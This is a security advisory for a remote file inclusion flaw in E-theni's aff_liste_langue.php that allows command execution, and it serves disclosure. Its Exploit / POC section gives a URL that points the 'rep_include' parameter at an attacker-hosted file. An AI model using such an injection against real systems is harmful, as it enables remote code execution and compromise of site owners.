E-theni Remote Include Command Execution Vulnerability
BID:6970
Info
E-theni Remote Include Command Execution Vulnerability
| Bugtraq ID: | 6970 |
| Class: | Design Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 06 2003 12:00AM |
| Updated: | Jan 06 2003 12:00AM |
| Credit: | Discovery credited to Frog Man <[email protected]>. |
| Vulnerable: |
E-theni E-theni |
| Not Vulnerable: | |
Discussion
E-theni Remote Include Command Execution Vulnerability
E-theni may allow inclusion of malicious remote files. This is due to remote users being able to influence the include path of an external file ('para_langue.php') referenced by the 'aff_liste_langue.php' script. This could result in arbitrary command execution.
E-theni may allow inclusion of malicious remote files. This is due to remote users being able to influence the include path of an external file ('para_langue.php') referenced by the 'aff_liste_langue.php' script. This could result in arbitrary command execution.
Exploit / POC
E-theni Remote Include Command Execution Vulnerability
The following example was provided:
http://www.example.com/admin_t/include/aff_liste_langue.php?rep_include=http://<attacker_site>/para_langue.php
The following example was provided:
http://www.example.com/admin_t/include/aff_liste_langue.php?rep_include=http://<attacker_site>/para_langue.php
Solution / Fix
E-theni Remote Include Command Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.